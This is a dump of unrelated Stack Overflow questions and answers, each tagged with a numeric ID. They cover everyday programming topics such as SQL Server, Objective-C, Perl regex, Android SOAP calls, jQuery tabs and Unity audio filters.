25276484	0	 <p>Your performance is pretty good. Your problem is that you're being abused by, what sounds like poor coding, in the sproc you mentioned. So, let's say you manage to improve the performance of your query by 90% and soon after the sproc starts calling your query 20,000 times... you're back where you started. </p> <p>I would begin by investigating the problem sproc to see if there's a better solution than thousands of calls in a short period of time. Could be a simple fix of not calling a query from a loop, as a simple example. The client code could also use caching instead of calling a query repeatedly for data that doesn't change much.</p> <p>If you want to follow the performance route then I would suggest denormalizing. Since your query results are boxed by week, denormalizing is actually a good solution. You would create another table and populate it with results from your query... You would also not be calling tour subqueries all the time. SQL Server usually optimizes for that but it's definitely something worth trying. </p> <p>Good luck. </p>
7631459	0	Is there a way to add new items to enum in Objective-C? <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/3124012/possible-to-add-another-item-to-an-existing-enum-type">Possible to add another item to an existing enum type?</a> </p> </blockquote> <p>Say I have a class <code>Car</code> with the following enum defined:</p> <pre><code>typedef enum { DrivingForward, DrivingBackward } DrivingState; </code></pre> <p>Then, let's say I have a subclass of <code>Car</code> called <code>Tesla</code> and it happens to drive sideways too. Is there a way for <code>Tesla</code> to add new items to that original enum so that the final enum becomes like the following?</p> <pre><code>typedef enum { DrivingForward, DrivingBackward, DrivingLeft, DrivingRight } DrivingState; </code></pre>
38012171	0	 <p><a href="http://stackoverflow.com/a/38012152/1163423">sodawillow provided a valid answer</a>. Howevery, you can simplify this using <code>-notin</code>:</p> <pre><code>if ($SER -notin 'Y', 'N') { Write-Host "ERROR: Wrong value for services restart" -ForegroundColor Red } </code></pre>
39272813	0	 <p>If you run jhipster project with default elasticsearch configuration then be sure that your elasticsearh server version is 1.7 because jhipster java project works with this version(in production profile) </p> <p>In development profile there was such a problem which I couldn't solve yet</p>
11517151	0	How to manually install .Net 4.0.x and 4.5 on XP <p>XP isn't a supported OS for .NET 4.5. This is a known issue.</p> <p>I read a few months back that the reason XP can't install 4.5 is because there are kernel API that 4.5 calls which don't exist on XP. I also read that it would be possible to inject your own implementation of the 'new' kernel calls to an XP machine - and 4.5 <em>could</em> run.</p> <p>I can no longer find this information. Does anyone know more about this?</p> <p>A second, but related, question is - how can I take upgraded .Net 4.0 libraries from a windows 7 machine (which had 4.5 installed) and inject them into an xp machine? I believe I read that the implemention files of 4.5 are actually the same as the 4.0 files, there are not two sets. And in fact, the two .net folders (4.0 and 4.5) are only the interfaces - which link back to these same files. If this is the case, then a manual injection of the 4.0 files would likely need the solution to my first question.</p> <p>In short - does anyone have more information about hacking/manually upgraded .net for xp?</p>
72616	0	Embed data in a C++ program <p>I've got a C++ program that uses SQLite. I want to store the SQL queries in a separate file -- a plain-text file, <em>not</em> a source code file -- but embed that file in the executable file like a resource.</p> <p>(This has to run on Linux, so I can't store it as an actual resource as far as I know, though that would be perfect if it were for Windows.)</p> <p>Is there any simple way to do it, or will it effectively require me to write my own resource system for Linux? (Easily possible, but it would take a lot longer.)</p>
7648083	0	 <p>Generally there are 2 approaches:</p> <h2><a href="https://github.com/cucumber/cucumber/wiki/Background">Backgrounds</a></h2> <p>If you want a set of steps to run before <em>each</em> of the scenarios in a feature file:</p> <pre><code>Background: given my app has started then enter "guest" in "user-field" and enter "1234" in "password-field" and press "login" then I will see "welcome" Scenario: Some scenario then *** here's the work specific to this scenario *** Scenario: Some other scenario then *** here's the work specific to this scenario *** </code></pre> <h2><a href="https://github.com/cucumber/cucumber/wiki/Calling-Steps-from-Step-Definitions">Calling steps from step definitions</a></h2> <p>If you need the 'block' of steps to be used in different feature files, or a Background section is not suitable because some scenarios don't need it, then create a high-level step definition which calls the other ones:</p> <pre><code>Given /^I have logged in$/ do steps %Q { given my app has started then enter "guest" in "user-field" and enter "1234" in "password-field" and press "login" then I will see "welcome" } end </code></pre> <hr> <p>Also, in this case I'd be tempted <em>not</em> to implement your common steps as separate steps at all, but to create a single step definition: (assuming Capybara)</p> <pre><code>Given /^I have logged in$/ do fill_in 'user-field', :with =&gt; 'guest' fill_in 'password-field', :with =&gt; '1234' click_button 'login' end </code></pre> <p>This lends a little bit more meaning to your step definitions, rather than creating a sequence of page interactions which need to be mentally parsed before you realise 'oh, this section is logging me in'.</p>
27875839	0	 <p>It looks like your are trying to produce/recieve json output. I see two problems with your approach. 1) You didn't specify the application/json in your Accept header 2) You need to specify produces="application/json" in your @RequestMapping</p>
8785063	0	Excel VBA: Get Last Cell Containing Data within Selected Range <p>How do I use Excel VBA to get the last cell that contains data within a specific range, such as in columns A and B <code>Range("A:B")</code>? </p>
28982680	0	 <p>Yes. All SQL Server releases, from 2005 to 2014 inclusive, are <a href="http://rusanu.com/2007/11/28/is-service-broker-in-sql-server-2008-compatible-with-the-one-in-sql-server-2005/" rel="nofollow">compatible with each other at the Service Broker</a> layer. In fact the 2008 instances are not even going to be able to figure out they are talking to 2014.</p> <p>You should be able to migrate one machine at a time, w/o taking down everything. If the upgrades are don in-place (keeping the machine name the same and preserving the SSB endpoint settings) then you won't have to change anything after the upgrade, it should just keep working.</p> <p>If you do side-by-side upgrade then you will have to port the SSB endpoint settings and certificates used from one instance to the other, along with moving the database.</p> <p>Keep in mind that if you have a problem and you are forced to rollback to a backup then your entire, distributed, system state will not be consistent (basically conversations will no longer match the send sequence number and receive sequence numbers) and you may have to force some close conversations (manual END ... WITH CLEANUP on a case by case) or nuke the entire broker in the DB (ALTER DATABASE ... SET NEW_BROKER). Lets hope you won't have to do this. If is feasible then you could simply stop the entire system (eg. run ALTER ENDPOINT ... STATE = STOPPED on all 3 nodes to stop all SSB communication) and then do a backup and then do the upgrade, now being safe to rollback the upgrade and restore since everythign is 'frozen'.</p>
16280149	0	 <p>It may be that you don't have a default image viewer set. Try opening the image file outside of the program and see if it asks you to select a program or just opens in another program.</p>
27731795	0	 <p>Yes its absolutely possible to post an array data and the code you wrote at client side to post data is correct.</p> <p>The status code <code>400</code> you are getting must be due to problem at your server side code. I see a method <strong>createBatchSavings</strong> in your server side code but your URL at client side is lower case, <strong>batchsavings</strong>.</p> <p>This is just an hint. You need to add more information about server side code.</p>
22121840	0	OrderBy(propertyName) for complex types <p>I have </p> <pre><code>class User { public string Name {get; set; } } </code></pre> <p>and</p> <pre><code>class Example { public virtual User user {get; set; } } </code></pre> <p>they are 1..N relation and I'm using EF and that all works fine, but I want to do </p> <pre><code>var model = examples.OrderBy("user.Name"); </code></pre> <p>where examples is IQueryable of Examples and I get error that Example has no property of user.Name. Why is that? Can I specify my compare rules for class User? I tried implementing ICompare and IComparable with no success.</p> <p>EDIT: this is the extension for orderBy, how can I modify it to be able to use it for my example</p> <pre><code>public static IQueryable OrderBy(this IQueryable source, string propertyName) { var x = Expression.Parameter(source.ElementType, "x"); var selector = Expression.Lambda(Expression.PropertyOrField(x, propertyName), x); return source.Provider.CreateQuery( Expression.Call(typeof(Queryable), "OrderBy", new Type[] { source.ElementType, selector.Body.Type }, source.Expression, selector )); } } </code></pre>
30398442	0	Apply a LowPassFilter for a period of time, then fade it back to normal? <p>I'm trying to achieve the very common effect you often have in FPS games when you are hit by a grenade.. When you are hit, a LP Filter kicks in at a low frequency, wait for a couple of seconds before fading it back to normal. How is this effect created? I'm using C# and Unity 5. I've tried to google it, but there seems to be very little information about this subject.</p> <p>My code so far isn't super sexy, I've deleted about everything 250 times in a row now and I'm starting to lose my patience with myself :P</p> <pre><code>using UnityEngine; using System.Collections; public class DamageHandler : MonoBehaviour { [Range(5000, 22000)] public int standardLpFreq = 22000; [Range(10, 500)] public int hitLpFreq = 280; public float timeToHaveEffect = 4f; private AudioLowPassFilter lpFilter; void Awake() { lpFilter = Camera.main.GetComponent&lt;AudioLowPassFilter&gt; (); if (!lpFilter) { Camera.main.gameObject.AddComponent&lt;AudioLowPassFilter&gt;(); lpFilter = Camera.main.GetComponent&lt;AudioLowPassFilter&gt;(); } InitLPFilter (); } private void InitLPFilter() { lpFilter.cutoffFrequency = standardLpFreq; } } </code></pre>
32000533	0	Monogame mouse in windows 10 feels press only after move <p>I have monogame (3.4) XAML application for windows store (VS2012 on Win10). In my game's Update() I call attched code to receive toutch events. In windows 8/8.1 everything worked, but in windows 10 I have to hold button and move mouse several times to get ButtonState.Pressed - for end user this looks like mouse doesn't work at all. How can I manage this bug?</p> <p>Mouse event receive code:</p> <pre><code> MouseState st = Mouse.GetState(); if (st.LeftButton == ButtonState.Pressed) { if (prevMouseState == ButtonState.Released) { prevMouseValX = st.X; prevMouseValY = st.Y; pushEvent(EVT_POINTER_DOWN, (int)(st.X - mScrBiasX), (int)(st.Y - mScrBiasY), 1, 0); } else { if (Math.Abs(st.X - prevMouseValX) &gt; 2 || Math.Abs(st.Y - prevMouseValY) &gt; 2) pushEvent(EVT_POINTER_MOVE, (int)(st.X - mScrBiasX), (int)(st.Y - mScrBiasY), 1, 0); } prevMouseState = ButtonState.Pressed; } if (st.LeftButton == ButtonState.Released) { if (prevMouseState == ButtonState.Pressed) { pushEvent(EVT_POINTER_UP, (int)(st.X - mScrBiasX), (int)(st.Y - mScrBiasY), 1, 0); } prevMouseState = ButtonState.Released; } </code></pre>
18006262	0	 <p>I'm assuming that the version of mongo listed in phpinfo is 1.2 -- MongoClient class wasn't out until v1.3</p> <p>if so, you need to update mongodb to the newer version.</p> <p><a href="https://bugs.launchpad.net/ubuntu/+source/php-mongo/+bug/1096587" rel="nofollow">https://bugs.launchpad.net/ubuntu/+source/php-mongo/+bug/1096587</a></p>
14655974	0	 <pre><code>my $newvar = $text =~ m/ quick (.*) dog /; </code></pre> <p>is an assignment in scalar context, and assigns either <code>1</code> or <code>undef</code>.</p> <p>You want to make this assignment in list context</p> <pre><code>my ($newvar) = $text =~ m/ quick (.*) dog /; </code></pre> <p>which assigns the captured groups from the regular expression.</p> <p>The difference between scalar and list contexts is one of the trickiest things to get used to in Perl.</p> <p>Note that captured groups from regular expressions in Perl also get assigned to the special variables <code>$1</code>, <code>$2</code>, ... . So you also could just have said</p> <pre><code>print "$1\n"; </code></pre>
23743295	0	Regexp for removing certain IMG tags <p>Need a regexp to remove all the HTML tags like:</p> <pre><code>&lt;img border="0" alt="" src="/images/stories/j25.png"&gt; </code></pre>
37973299	0	 <p><a href="http://www.tutorialspoint.com/python/python_strings.htm" rel="nofollow">Strings in python</a> are declared using double or single quotes, therefore the variable <strong>data</strong> contains a string. You can check the type of a variable directly in python:</p> <pre><code>data = "000000000000000117c80378b8da0e33559b5997f2ad55e2f7d18ec1975b9717" type(data) </code></pre> <p>which outputs</p> <pre><code>str </code></pre> <p>meaning that the variable is a string. When you call the function decode('hex') on a string you obtain another string:</p> <pre><code>data.decode('hex') '\x00\x00\x00\x00\x00\x00\x00\x01\x17\xc8\x03x\xb8\xda\x0e3U\x9bY\x97\xf2\xadU\xe2\xf7\xd1\x8e\xc1\x97[\x97\x17' </code></pre> <p>Every character in your original string is interpreted as an hexadecimal number, and every pairs of hexadecimal numbers - e.s. "17" - is converted into an hexadecimal character using the escape sequence \x - becoming "\x17".</p> <p>When you write "\x41" you are basically telling python to interpret 41 as a single ASCII character whose hexadecimal representation is 41.</p> <p>The <a href="http://www.asciitable.com/" rel="nofollow">ASCII table</a> contains the hexadecimal, decimal and octal values associated to the ascii characters.</p> <p>If you try for example</p> <pre><code>"48454C4C4F".decode('hex') </code></pre> <p>you obtain the string "HELLO"</p> <p>Lastly when you use [::-1] on a string you reverse it:</p> <pre><code>"48454C4C4F".decode('hex')[::-1] </code></pre> <p>produces the string "OLLEH"</p> <p>You can find more about the escape characters reading the <a href="https://docs.python.org/2.0/ref/strings.html" rel="nofollow">python documentation</a>.</p>
19967542	0	 <p>You might want to preprocess the file. Say make a cache while each word maps to the set of lines it contains so you can just fetch it and return them. </p>
14494070	0	How to resolve java.net.SocketException Permission Denied error? <p>I have already included the Internet Permissions in the andoird manifest page, still the error seems to persist. I am also recieveing an unknown host excption in the similar code. Kindly guide me through! Ty! :)</p> <pre><code>package name.id; import android.app.Activity; import android.content.DialogInterface.OnClickListener; import android.os.Bundle; import org.ksoap2.*; import org.ksoap2.serialization.*; import org.ksoap2.transport.*; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.TextView; public class FirstPage extends Activity implements android.view.View.OnClickListener { /** Called when the activity is first created. */ TextView tv; Button bu; EditText et; private static final String SOAP_ACTION="http://lthed.com/GetFullNamefromUserID"; private static final String METHOD_NAME="GetFullNamefromUserID"; private static final String NAMESPACE="http://lthed.com"; private static final String URL="http://vpwdvws09/services/DirectoryService.asmx"; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); et=(EditText) findViewById(R.id.editText1); tv=(TextView) findViewById(R.id.textView2); bu=(Button) findViewById(R.id.button1); bu.setOnClickListener((android.view.View.OnClickListener) this); tv.setText(""); } public void onClick(View v) { // creating the soap request and all its paramaters SoapObject request= new SoapObject(NAMESPACE, METHOD_NAME); //request.addProperty("ID","89385815");// hardcoding some random value //we can also take in a value in a var and pass it there //set soap envelope,set to dotnet and set output SoapSerializationEnvelope soapEnvelope = new SoapSerializationEnvelope(SoapEnvelope.VER11); soapEnvelope.dotNet=true; soapEnvelope.setOutputSoapObject(request); HttpTransportSE obj = new HttpTransportSE(URL); //to make call to server try { obj.call(SOAP_ACTION,soapEnvelope);// in out parameter SoapPrimitive resultString=(SoapPrimitive)soapEnvelope.getResponse(); //soapObject or soapString tv.setText("Status : " + resultString); } catch(Exception e) { tv.setText("Error : " + e.toString()); //e.printStackTrace(); } } } </code></pre>
38110092	0	 <p>Put the <code>.append()</code> inside the loop:</p> <pre><code>def main(): Sqrs() def Sqrs(): import math lstSquares = [] for i in range(1,11): math.pow(i,2) lstSquares.append(math.pow(i,2)) ShowResults(lstSquares) def ShowResults(lstSquares): print(lstSquares) main() </code></pre> <p>Result:</p> <pre><code>[1.0, 4.0, 9.0, 16.0, 25.0, 36.0, 49.0, 64.0, 81.0, 100.0] </code></pre>
34679384	0	SharePoint send notification by assignation <p>I created in SharePoint a list. It has several columns, one of these columns is called assined to. It contains one or more person. What i want, is that an email is send to the new person/s, if a new person is added to this column. Now i searched a little bit, and found out that I should use Workflows to solve this problem. But the problem is the Workflow is started only automaticly if any changes are made in an element or when an element is created. </p> <p>So my question is, is theire a possibility to trigger an email by content changes in a specified column.</p> <p>By the way im working with a list in SharePoint 2013.</p>
15151927	0	 <p>1: You cannot make image clickable in one area and nonclickable in another. But you can get color of pixel under mouse and ignore ckicks over transparent pixels</p> <pre><code>import flash.events.MouseEvent; import flash.display.BitmapData; var rabbitBitmap:BitmapData = new BitmapData(rabbit.width, rabbit.height, true, 0xFFFFFFFF); rabbitBitmap.draw(rabbit); addEventListener(MouseEvent.MOUSE_MOVE, mmh) rabbit.addEventListener(MouseEvent.CLICK, mch) rabbit.buttonMode = true; function mmh(e:MouseEvent):void { rabbit.useHandCursor = getAlpha() != 255; } function mch(e:MouseEvent):void { if (getAlpha() != 255) { // ... do someth } } function getAlpha ():int { var rgba:uint = rabbitBitmap.getPixel32(rabbit.mouseX, rabbit.mouseY); return rgba &amp; 0xff; } </code></pre> <p>2: Use vector graphics for your rabbit :)</p>
35905699	0	Python: Make a file temporarily unexecutable <p>I'm writing a simple antivirus that checks for very specific files and patterns, and something I want to implement is a way to make a named file unexecuteable. By this I mean that the computer will realize that the file exists, and has a file extension that would usually launch an application or it's own code, but will not be able to execute it until the user gives the ok.</p> <p>So given the filename, how could I make a file unable to be executed by the windows operating system? </p>
5125210	0	 <p>Let me start with this: I don't think a Python script is the best tool for the job. If you want to do enterprise-level management of updates (e.g., for all machines on a network), then you should seriously consider using <a href="http://www.microsoft.com/windows/enterprise/products/windows-7/management.aspx" rel="nofollow">the existing MS tools</a>. </p> <p>With that said, here is how you might go about this:</p> <ol> <li><p>Have a look at the <code>windows-update</code> tag on ServerFault, one of StackOverflow's sister sites: <a href="http://serverfault.com/questions/tagged/windows-update">http://serverfault.com/questions/tagged/windows-update</a> . A lot of the questions seem to cover command-line control of the update process. Keep in mind that the command line tools vary significantly between e.g. Windows XP on the one hand and Vista/7 on the other. With some luck, you should be able to use windows built-in commands rather than going to the windows update website programmatically.</p></li> <li><p>Assuming you find the command-line incantations that you need: Use the <a href="http://docs.python.org/library/subprocess.html" rel="nofollow">subprocess</a> module to call to the shell and execute those commands programmatically. Because you're using python, you may need to spend quite a bit of time parsing the command outputs to figure out how your shell calls are doing.</p></li> </ol> <p>Hope that helps. I realize this is a rather high-level answer, but as it stands, the question is not very specific about what exactly you want to accomplish and why you're using python to do it. </p>
25930365	0	 <p>it can be <strong>fixed easly</strong> but radicaly, just go to the folder where you have stored <strong>mdf file</strong>. select file-> Right click ->click on properties and <strong>give full permissions to file for logged in user Security</strong>.</p>
27747889	0	 <p>As per your error messages:</p> <blockquote> <p><code>01-03 00:25:57.443 2371-2387/com.example.androidhive E/JSON Parser﹕ Error parsing data org.json.JSONException: Value &lt;br&gt;&lt;table of type java.lang.String cannot be converted to JSONObject</code></p> </blockquote> <p><code>&lt;br&gt;&lt;table</code> is <strong>NOT</strong> JSON. E.g. your fetched data is html, not json. Since it's not JSON, the json parser barfs, and here we are...</p>
16569984	0	Adding a fadeOut to tabs <p>I'd like to add a fadeout to the tabs <a href="http://www.inside-guides.co.uk/brentwood/restaurants/chinese-restaurants/mizu-brentwood-402.html" rel="nofollow">on my page here</a>, if someone could help with the javascript side?</p> <p>Here's the html:</p> <pre><code>&lt;ul class="tabs clearfix"&gt; &lt;li class="aboutustab active" style="border-left:1px solid #ccc;"&gt;&lt;div class="up"&gt;&lt;/div&gt;About&lt;/li&gt; &lt;li class="maptab"&gt;&lt;div class="up"&gt;&lt;/div&gt;Map&lt;/li&gt; &lt;li class="featurestab"&gt;&lt;div class="up"&gt;&lt;/div&gt;Features&lt;/li&gt; &lt;li class="voucherstab"&gt;&lt;div class="up"&gt;&lt;/div&gt;Offers&lt;/li&gt; &lt;/ul&gt; </code></pre> <p>And the here's the javascript:</p> <pre><code>$(window).load(function(){ $('.tab:not(.aboutus)').hide(); $('.tabs li').click(function(){ var thisAd = $(this).parent().parent(); $(thisAd).children('.tab').hide(); $(thisAd).children('.'+$(this).attr('class').replace('tab','')).show(); $('.tabs li').removeClass('active'); $(this).addClass('active'); }); if(window.location.hash) { if (window.location.hash == "#map") { $(".Advert").children('.tab').hide(); $(".Advert").children('.map').show(); $('.tabs li').removeClass('active'); $('.maptab').addClass('active'); } if (window.location.hash == "#voucher") { $(".Advert").children('.tab').hide(); $(".Advert").children('.vouchers').show(); } } }); </code></pre> <p>I have the <a href="http://twitter.github.io/bootstrap/javascript.html#transitions" rel="nofollow">bootstrap.js plugin</a> from here and would like to use that, if anyone was familiar with that it'd be ideal.</p> <p><a href="http://www.inside-guides.co.uk/brentwood/pages/advertise.html" rel="nofollow">Here's how I would like it to work.</a></p> <p>Update: This is what I have now, but the fade effect is different for each tab almost - I like the transition back to the About Us tab which isn't as "heavy" as the transition of the others. The offers tab is leaving remnants of the 'Features' tab content too.</p> <pre><code> $(window).load(function(){ $('.tab:not(.aboutus)').fadeOut(); $('.tabs li').click(function(){ var thisAd = $(this).parent().parent(); $(thisAd).children('.tab').fadeOut(); $(thisAd).children('.'+$(this).attr('class').replace('tab','')).fadeIn(); $('.tabs li').removeClass('active'); $(this).addClass('active'); }); newContent.hide(); currentContent.fadeOut(750, function() { newContent.fadeIn(500); currentContent.removeClass('current-content'); newContent.addClass('current-content'); }); if(window.location.hash) { if (window.location.hash == "#map") { $(".Advert").children('.tab').fadeOut(750); $(".Advert").children('.map').fadeIn(500); $('.tabs li').removeClass('active'); $('.maptab').addClass('active'); } if (window.location.hash == "#voucher") { $(".Advert").children('.tab').fadeOut(750); $(".Advert").children('.vouchers').fadeIn(500); } } }); </code></pre>
32183873	0	Undefined property: Loader::$cart in opencart <p>I'm using a latest version of opencart,here i trying to display products that are added in shopping cart, while adding i'm getting that error "Undefined property: Loader::$cart" this error caused by $this->cart->getProducts() </p> <p>how to fix this error. </p>
31193716	0	UITabBarController - transition from one tab's navigation stack to a view controller of another tab's navigation stack <p>Novice iOS developer here. I am making a simple tabbed chat application in Swift using a UITabBarController. For simplicity, let's assume the application only has two tabs, "Contacts" and "Chats". Each of the two tabs has a navigation controller. </p> <p>The "Chats" navigation stack begins with a UITableViewController called "ChatsTableViewController" which lists the user's chats. When the user selects a chat, the app segues to a MessagesViewController which displays the messages for the selected chat.</p> <p>The "Contacts" navigation stack includes a UITableViewController which lists the user's contacts. Upon selecting a contact, another view controller is presented modally, asking the user whether they would like to begin a chat with the selected contact, and giving them the option to cancel. If the user chooses to begin a chat, I would like to transition from this modal view controller to the MessagesViewController of the "Chats" tab, passing the information necessary to display the chat (which I have at the ready in the modal view controller).</p> <p>When the MessagesViewController loads, regardless of whether we get to it by selecting a chat from the "Chats" tab or by creating a new chat from the "Contacts" tab, it should have a navigation bar at the top with a "Back" button that takes the user to the ChatsTableViewController.</p> <p>I have done a good deal of searching, but have not found any solutions that fit what I need. Any suggestions would be greatly appreciated! Here is a summary of what I am looking for.</p> <ol> <li>Standard way to perform a transition from a view controller in one tab's navigation stack to a view controller (that is not the root view controller in my case) of another tab's navigation stack, while passing relevant information to display in the destination view controller.</li> <li>The view controller I transition to should have a navigation bar with a back button that takes the user to the previous view controller in its navigation stack, just as if they had accessed it from the normal navigation flow of the tab.</li> </ol> <p><strong>EDIT</strong>: I've found that you can easily switch tabs programmatically using <code>self.tabBarController?.selectedIndex = index_of_tab_to_switch_to</code>, however, this takes me to the first view of the tab and I am still unsure of how I can pass data. Any thoughts on how I can proceed? </p>
18837792	0	 <pre><code> CHOICE /C ABCDEFGHIJKLMNOPQRSTUVWXYZ /N echo %errorlevel% </code></pre>
38889484	0	CoffeeScript code only works after press home menu <p>I am using Rails 5. I have a <code>home_controller</code> with index action and <code>root 'home#index'</code>. There's a button on index.html.erb, i want to press this button call some js code (pop window).</p> <p>But my coffee script code only was call after i press <strong>Home</strong> menu. So i am wondering <code>/</code> and <code>home#index</code> are different? Thank you for your help.</p> <p><strong>application.html.erb</strong></p> <pre><code>&lt;nav&gt; &lt;li&gt;&lt;%= link_to "Home", "/"%&gt;&lt;/li&gt; &lt;/nav&gt; </code></pre> <p><strong>index.html.erb</strong></p> <pre><code>&lt;button id="myBtn"&gt;Open Modal&lt;/button&gt; &lt;div id="myModal" class="modal"&gt; &lt;div class="modal-content"&gt; &lt;span class="close"&gt;×&lt;/span&gt; &lt;p&gt;Some text in the Modal..&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;%= render :partial =&gt; 'stories/stories' %&gt; </code></pre> <p><strong>home.coffee</strong></p> <pre><code>modal = document.getElementById('myModal'); btn = document.getElementById("myBtn"); span = document.getElementsByClassName("close")[0]; btn.onclick = -&gt; modal.style.display = "block" span.onclick = -&gt; modal.style.display = "none" window.onclick = (event) -&gt; modal.style.display = "none" if event.target == modal </code></pre>
19054048	0	 <p>The answer to this is to use intermediate layouts. </p> <pre><code>[self.collectionView setCollectionViewLayout: layoutForStepOne animated:YES completion:^(BOOL finished) { [self.collectionView setCollectionViewLayout: layoutForStepTwo animated:YES completion:^(BOOL finished) { [self.collectionView setCollectionViewLayout: layoutForStepThree animated:YES]; }]; }]; </code></pre>
22520566	0	css style for a button-like <div> <p>I am trying add in my project to simulate a popup window (where later I will add content from others pages from my application). I have the follow code:</p> <p><strong>html</strong></p> <pre><code>&lt;div id="box"&gt; &lt;div id="title"&gt;Titulo &lt;span id="button"&gt;X&lt;/span&gt; &lt;/div&gt; &lt;div id="text"&gt;Conteudo&lt;/div&gt; &lt;/div&gt; </code></pre> <p><strong>javascript/jquery</strong></p> <pre><code>$('window').load(function(){ $('#box').draggable(); }); </code></pre> <p><strong>css</strong></p> <pre><code>#box { box-sizing: padding-box; box-shadow: 10px 5px 5px black; border-style: solid; position: absolute; width: 320px; height: 640px; min-width: 160px; min-height: 500px; max-width: 500px; max-height: 750px; top: 200px; left: 200px; } #button { background-color: red; padding: 0px 0px 0px 95%; min-width: 32px; max-width: 5%; position:absolute; } #title { background-color: black; text-decoration-color: white; font: 32px/36px arial; position: relative; } #text { background-color: white; text-decoration-color: black; font: 24px/28px sans-serif; position: relative; } </code></pre> <p>Bottom line: I want the element identified by id=button stay in the right corner of the title bar from my "window", but in this current state, that's what i got:</p> <p><a href="https://imgur.com/Og96LkY" rel="nofollow noreferrer"><img src="https://i.imgur.com/Og96LkY.png" title="Hosted by imgur.com" /></a></p> <p>how i can improve this to achieve what i want?</p> <p>ps.: i accept suggestion using jquery / jquery-ui. I try earlier BootstrapDialog, but don't serve for my project because dont't ajust itself according to loaded content and block the other contents from my page when it's open.</p>
1255891	0	 <p>Maybe it won't be a full answer to your question, but here's what I've been able to find so far : there is some kind of a partial answer in the book "<strong>Extending and Embedding PHP</strong>", written by Sara Golemon (<a href="http://rads.stackoverflow.com/amzn/click/067232704X" rel="nofollow noreferrer">amazon</a> ; some parts are also available on google books).</p> <p>The relevant part <em>(a note at the top of page 56)</em> is :</p> <blockquote> <p>Ever wonder why some extensions are configured using <code>--enable-extname</code> and some are configured using <code>--with-extename</code>? Functionnaly, there is no difference between the two. In practice, however, <code>--enable</code> is meant for features that can be turned on witout requiring any third-party libraries. <code>--with</code>, by contrast, is meant for features that do have such prerequisites.</p> </blockquote> <p>So, not a single word about performance (I guess, if there is a difference, it is only a matter of "<em>loading one more file</em>" vs "<em>loading one bigger file</em>") ; but there is a technical reason behind this possibility.</p> <p>I guess this is done so PHP itself doesn't <strong>require</strong> an additionnal external library because of some extension ; using the right option allows for users to enable or disable the extension themselves, depending on whether or not they already have that external library.</p>
29879976	0	 <p>I had the same problem and i was already applying the Judah answer before i found this topic after some googling. </p> <p>Well, imo the Judah answer is partially correct. I found a better answer <a href="https://social.msdn.microsoft.com/Forums/en-US/751637d8-2c98-49d1-a4d3-9bc0ef0996c1/runworkercompleted-not-capturing-exceptions?forum=csharplanguage" rel="nofollow">here</a></p> <p>The debugger is making the work well, if you run the application in "real-world conditions", the RunWorkerCompleted deals with the exception as expected and the application behavior is also the expected.</p> <p>I hope this answer helps.</p>
15249497	0	 <p>selectedRow is populated after you click the row, while you are trying to loop trough it after binding the click handler, but before the actual click. You have to move that code in the click handler</p>
4471371	0	 <p>This has nothing to do with calling revalidate as recommended by another and likely has all to do with calling a method on the wrong object. In your showEmployeesActionPerformed method you create a new Company object, one that is not visualized. The key is to call this method on the proper reference, on the visualized GUI. You do this by passing a reference to the visualized GUI object into the class that is wanting to call methods on it. This can be done via a setCompany method:</p> <pre><code>setCompany(Company company) { this.company = company); } </code></pre> <p>or via a constructor parameter.</p>
33526712	0	 <p>Maybe cleaning and building your project fixes the problem?</p>
10545891	0	 <p>It appears that you are using this database migration solely for populating the data. </p> <p>Database migrations are meant for changing the database schema, not for populating the database (though you can add some logic to populate the database after the change; for example, if you add a column - role to users table, you can add some custom logic to populate the newly added field for existing entries in users table). Refer to rails api - <a href="http://guides.rubyonrails.org/migrations.html" rel="nofollow">migrations</a> for details. </p> <p>If you forgot add the code to populate the database in your previous database migration, you can undo the previous migration and apply it again using: </p> <pre><code>rake db:rollback ... Edit the previous migration ..Add the code to populate rake db:migrate </code></pre> <p>If you just want to populate the database, you should seed the database instead. Watch <a href="http://railscasts.com/episodes/179-seed-data" rel="nofollow">this railscast</a> for more information.</p> <p>EDIT: To seed the database: </p> <p>Create a file called db/seeds.rb<br> Add the record creation code like this: </p> <pre><code>['Sampath', 'Suresh'].each do |name| User.create(role: 'admin', username: name) end </code></pre> <p>Then, </p> <pre><code>rake db:seed </code></pre> <p>This will read the seeds.rb and populate the database.</p>
31613860	0	 <p>What's wrong with a <code>500 Internal Server Error</code>?! That's exactly what you experience. Your script is wrong and dies a sudden death; that's an internal error in your server. A <code>500</code> response signals to the client that there was an error which is not the fault of the client, so the client should not use whatever response it received and maybe try again later. That's exactly what must happen in this scenario and that's what <code>display_errors=off</code> does.</p>
20295820	0	 <pre><code>#include &lt;stdio.h&gt; int inputFirstOne(void){ int ch; ch = getchar(); while('\n'!=getchar()); return ch; } int main(){ char a, b; a = inputFirstOne(); b = inputFirstOne(); printf("%c%c\n", a, b); return 0; } </code></pre>
11206773	0	memorystream contains bad xml markup when read <p>What is my issue here? When I write the stream back out to web, open the file it contains some of the content but all malformed and some missing.</p> <p>Am I experiencing loss of data due to a logic error?</p> <p><strong>Note:</strong> the readstream and writestream below mocks up what a service will be filling in. I will be receiving a stream to read from the service. I'll need to write that stream back out.</p> <pre><code> MemoryStream writeStream = new MemoryStream(); byte[] buffer = new byte[256]; OrderDocument doc = new OrderDocument(); doc.Format = "xml"; doc.DocumentId = "5555555"; doc.Aid = "ZZ"; doc.PrimaryServerPort = "PORT"; MemoryStream readStream = new MemoryStream(doc.GetDocument()); while (readStream != null &amp;&amp; readStream.Read(buffer, 0, buffer.Length) &gt; 0) { writeStream.Write(buffer, 0, buffer.Length); } writeStream.Flush(); writeStream.Position = 0; Response.Buffer = true; Response.Clear(); Response.ClearContent(); Response.ClearHeaders(); Response.ContentType = "text/xml"; Response.ClearHeaders(); Response.AddHeader("Content-Disposition", string.Format("attachment; filename={0}.xml", doc.DocumentId)); Response.AddHeader("Content-Length", writeStream.Length.ToString()); Response.BinaryWrite(writeStream.ToArray()); Response.End(); </code></pre>
30654711	0	 <p>In the original view controller add a IBAction that you want to handle the call back.</p> <p>In IB Control Drag from the cell to the Exit icon at the top of the view. On release you will see a a pop up menu with the name of available IBAction methods. Choose your IBAction method. </p> <p>I don't remember wether if you add a sender variable to the IBAction, you can retrieve info from it.</p>
